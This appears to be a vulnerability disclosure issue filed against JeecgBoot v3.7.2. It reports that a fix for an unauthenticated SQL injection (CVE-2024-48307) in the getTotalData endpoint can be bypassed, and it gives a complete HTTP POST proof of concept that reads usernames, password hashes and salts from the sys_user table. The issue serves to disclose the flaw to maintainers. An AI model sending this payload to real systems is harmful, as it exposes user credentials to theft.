SQL injection vulnerability

[etlmy]

版本号：

v3.7.2

问题描述：

The unauthorized SQL injection vulnerability in the /drag/onlDragDatasetHead/getTotalData interface was not completely fixed in 3.7.2.
This version checks the legitimacy of the field before performing the SQL query, but it can still be bypassed.

错误截图：

We tried to use the POC of CVE-2024-48307.

We can delete 'concat' to bypass.

POC

POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: 192.168.136.1:8081
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 308
Content-Type: application/json

{"tableName": "sys_user", "compName": "test", "condition": {"filter": {}}, "config": {"assistValue": [], "assistType": [], "name": [{"fieldName": "username,password,salt", "fieldType": "string"}, {"fieldName": "id", "fieldType": "string"}], "value": [{"fieldName": "id", "fieldType": "string"}], "type": []}}

友情提示：

• 未按格式要求发帖、描述过于简单的，会被直接删掉;
• 描述问题请图文并茂，方便我们理解并快速定位问题;
• 如果使用的不是master，请说明你使用的分支;

[zhangdaiscott]

sq